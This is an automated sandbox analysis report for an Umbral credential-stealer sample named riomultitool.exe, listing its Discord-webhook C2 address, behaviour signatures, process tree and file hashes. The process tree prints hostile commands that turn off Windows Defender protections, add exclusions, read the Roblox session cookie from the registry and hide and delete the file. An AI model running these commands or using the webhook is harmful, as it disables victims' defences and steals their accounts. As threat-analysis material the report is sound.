Analysis

  • max time kernel
    150s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15-08-2024 19:04

General

  • Target

    riomultitool.exe

  • Size

    557KB

  • MD5

    903b9e6bdaf8721d44891f5da47fb6e5

  • SHA1

    4dde5721fbba23c63bf9ca62ec93a5ad72e6789d

  • SHA256

    c0351dccf1117ee1924671a77fa67db75d05a4be5297cee995d6ebfcb6f71587

  • SHA512

    006c1b8d1aebbdc0217cb6c44023e8e1a9916d82fa436ac5b065443b17f13da558039fa9a432e3790e6b8bb8aa6979e14122412815d5987b9fb693bf51312927

  • SSDEEP

    12288:PFUNDaqoZtL+EP8ty4/IuphChn6opNsie2hy:PFOauI8E4/IuphChn6opNsiHy

Malware Config

Extracted

Family

umbral

C2

https://discord.com/api/webhooks/1272102731623956590/orC-657JppMO4pzRWYZRPq2Bxa7aWiqEYrpgs9lbvLUqA7X_w4XsmqMix75fgCH2MVae

Signatures

  • Detect Umbral payload 2 IoCs
  • Modifies visiblity of hidden/system files in Explorer 2 TTPs 2 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 6 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 4 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 5 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 43 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\riomultitool.exe
    "C:\Users\Admin\AppData\Local\Temp\riomultitool.exe"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4072
    • \??\c:\users\admin\appdata\local\temp\riomultitool.exe 
      c:\users\admin\appdata\local\temp\riomultitool.exe 
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4872
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3328
      • C:\Windows\SYSTEM32\attrib.exe
        "attrib.exe" +h +s "c:\users\admin\appdata\local\temp\riomultitool.exe "
        3⤵
        • Views/modifies file attributes
        PID:2972
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'c:\users\admin\appdata\local\temp\riomultitool.exe '
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:588
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4352
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4276
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1820
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:656
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
          PID:3272
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
            PID:3588
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
            3⤵
            • Command and Scripting Interpreter: PowerShell
            PID:852
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic" path win32_VideoController get name
            3⤵
            • Detects videocard installed
            PID:4528
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ping localhost && del /F /A h "c:\users\admin\appdata\local\temp\riomultitool.exe " && pause
            3⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:1680
            • C:\Windows\system32\PING.EXE
              ping localhost
              4⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:3456
        • C:\Windows\Resources\Themes\icsys.icn.exe
          C:\Windows\Resources\Themes\icsys.icn.exe
          2⤵
          • Executes dropped EXE
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:820
          • \??\c:\windows\resources\themes\explorer.exe
            c:\windows\resources\themes\explorer.exe
            3⤵
            • Modifies visiblity of hidden/system files in Explorer
            • Executes dropped EXE
            • Adds Run key to start application
            • Drops file in System32 directory
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: GetForegroundWindowSpam
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:2892
            • \??\c:\windows\resources\spoolsv.exe
              c:\windows\resources\spoolsv.exe SE
              4⤵
              • Executes dropped EXE
              • Drops file in Windows directory
              • System Location Discovery: System Language Discovery
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:2896
              • \??\c:\windows\resources\svchost.exe
                c:\windows\resources\svchost.exe
                5⤵
                • Modifies visiblity of hidden/system files in Explorer
                • Executes dropped EXE
                • Adds Run key to start application
                • Drops file in System32 directory
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: GetForegroundWindowSpam
                • Suspicious use of SetWindowsHookEx
                • Suspicious use of WriteProcessMemory
                PID:4868
                • \??\c:\windows\resources\spoolsv.exe
                  c:\windows\resources\spoolsv.exe PR
                  6⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of SetWindowsHookEx
                  PID:4244

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        1c8ed1293d221f14d6142addad60bb7e

        SHA1

        6c236459abbd5617fe62f1c1898c5cdc072f0bcb

        SHA256

        0992caa251b9bdf1f789dcf487dc29dad58f2376578573c037d106f608743dd5

        SHA512

        3a0716fdbd3a62a065e6f1c5479a495e98bafdd026a3b2c33a0d181ba06069f8f14e910daa69000432da983a0bb87ea4db804562149d58049e393ce0206fe52c

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        6d42b6da621e8df5674e26b799c8e2aa

        SHA1

        ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

        SHA256

        5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

        SHA512

        53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        948B

        MD5

        5824a6037c081fda5d46de274b6e2799

        SHA1

        526367a09300cbde430e8fb44e41cbe7a0937aac

        SHA256

        4d610d9cd32a20279c7133a726ff61820d6930e5aa18253ee1422f3a6f54953f

        SHA512

        a109b150f730cda78d5bee106bd232f9dca7500dfb7899c6919de2bd542e345ca271aa11809a24ea0a27dca158067ab3a2d5688ac0a2325185143245f1665582

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        88be3bc8a7f90e3953298c0fdbec4d72

        SHA1

        f4969784ad421cc80ef45608727aacd0f6bf2e4b

        SHA256

        533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

        SHA512

        4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vpgvupai.tqx.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\riomultitool.exe 

        Filesize

        422KB

        MD5

        8ea49a2060302a178c62b0b81071f500

        SHA1

        472285c12798562ccda3acba3cc1d497871d98b1

        SHA256

        7c6685525101dbe507d53a87e9c31a80c400f53cfb6545b762f641ba4fd886eb

        SHA512

        4ffb22e6d5ceaa5f568aa837d0cd475e5aeebaad6016fe30f0175d2ee15377a2aba9787f9b60611f46b1a93352a43f60cd3f0db94fce92bb3167b818b85f59a2

      • C:\Windows\Resources\Themes\explorer.exe

        Filesize

        135KB

        MD5

        9f37c4587a25bfd6732cc95239bef180

        SHA1

        10386bc8aa720949329a8e1f7ce0f42d57b2df64

        SHA256

        bd2be4bc747d41a3decf99dd3756ee5c1007dfde7637b5c7ade55bd46513119c

        SHA512

        cc249fd422391734d3105d289f17ad10797b8c3e67d56cbd0dbca8adce1023c92fba9a6187e73d5e3fc5c5acf6c5b6fbe57f27665ee369f4da8f0d4de5ffc08a

      • C:\Windows\Resources\Themes\icsys.icn.exe

        Filesize

        135KB

        MD5

        6754240aa5cd3d05747ce16f028d90f2

        SHA1

        63b78e0b4505317d15e6233394c003529ff724ae

        SHA256

        3ee5fcd138c04b04c065195685763c7912f72c3d863e49f072325f6ef3a289c4

        SHA512

        4fce558992982e7899e21707da76be7f117922ed5be31a0a472a724340a4c558e0acd147bf33fa13beeca8f140e56072c281004aa12d43a2e15afe3f0c2c3030

      • C:\Windows\Resources\spoolsv.exe

        Filesize

        135KB

        MD5

        de62d0d77a1c03a042d804efe6ebc17a

        SHA1

        6a92bcfe509a472238d986eb9c0012e8ea983ff2

        SHA256

        eea995da2882a0914e99d9492f39b82b6b5240a72295e83ba026d10b319f7320

        SHA512

        2f689c92f33840390a3ffa62f27cbf718ab7995d62f3f2ddc8626eb46a3738ee79f055f2183c9370cfe65c9a7fe5d91d9e46c27175a83ace6c92842635d47522

      • C:\Windows\Resources\svchost.exe

        Filesize

        135KB

        MD5

        b02cd6daa80c28be17d5b1e13442087f

        SHA1

        2d47d1e2d8cb1623f07e6bf6c6b9c490fd40133f

        SHA256

        3e1f4617a7c753c12d28028caa9178edc0c4b20803ce6bd58b3bec74fb76a8db

        SHA512

        1b79e4a341c961cfd74552ada87755a975c81e6f87c606905442fa2a80ae4cb6f9a08dbbe9086952d8726178fedbf7297de978bb5101a4d5ccb6b2bb800b9734

      • memory/588-21-0x000002427BDB0000-0x000002427BDD2000-memory.dmp

        Filesize

        136KB

      • memory/820-117-0x0000000000400000-0x000000000041F000-memory.dmp

        Filesize

        124KB

      • memory/2892-139-0x0000000000400000-0x000000000041F000-memory.dmp

        Filesize

        124KB

      • memory/2892-91-0x0000000000400000-0x000000000041F000-memory.dmp

        Filesize

        124KB

      • memory/2896-116-0x0000000000400000-0x000000000041F000-memory.dmp

        Filesize

        124KB

      • memory/4072-118-0x0000000000400000-0x000000000041F000-memory.dmp

        Filesize

        124KB

      • memory/4072-0-0x0000000000400000-0x000000000041F000-memory.dmp

        Filesize

        124KB

      • memory/4244-115-0x0000000000400000-0x000000000041F000-memory.dmp

        Filesize

        124KB

      • memory/4868-140-0x0000000000400000-0x000000000041F000-memory.dmp

        Filesize

        124KB

      • memory/4872-10-0x000001DFEF3A0000-0x000001DFEF410000-memory.dmp

        Filesize

        448KB

      • memory/4872-39-0x000001DFF1B90000-0x000001DFF1BE0000-memory.dmp

        Filesize

        320KB

      • memory/4872-38-0x000001DFF1B10000-0x000001DFF1B86000-memory.dmp

        Filesize

        472KB

      • memory/4872-11-0x00007FFA7A8E0000-0x00007FFA7B3A1000-memory.dmp

        Filesize

        10.8MB

      • memory/4872-40-0x000001DFF1980000-0x000001DFF199E000-memory.dmp

        Filesize

        120KB

      • memory/4872-83-0x000001DFF19E0000-0x000001DFF19F2000-memory.dmp

        Filesize

        72KB

      • memory/4872-129-0x00007FFA7A8E3000-0x00007FFA7A8E5000-memory.dmp

        Filesize

        8KB

      • memory/4872-132-0x00007FFA7A8E0000-0x00007FFA7B3A1000-memory.dmp

        Filesize

        10.8MB

      • memory/4872-133-0x000001DFF1CD0000-0x000001DFF1E79000-memory.dmp

        Filesize

        1.7MB

      • memory/4872-137-0x000001DFF1CD0000-0x000001DFF1E79000-memory.dmp

        Filesize

        1.7MB

      • memory/4872-138-0x00007FFA7A8E0000-0x00007FFA7B3A1000-memory.dmp

        Filesize

        10.8MB

      • memory/4872-9-0x00007FFA7A8E3000-0x00007FFA7A8E5000-memory.dmp

        Filesize

        8KB

      • memory/4872-82-0x000001DFF19B0000-0x000001DFF19BA000-memory.dmp

        Filesize

        40KB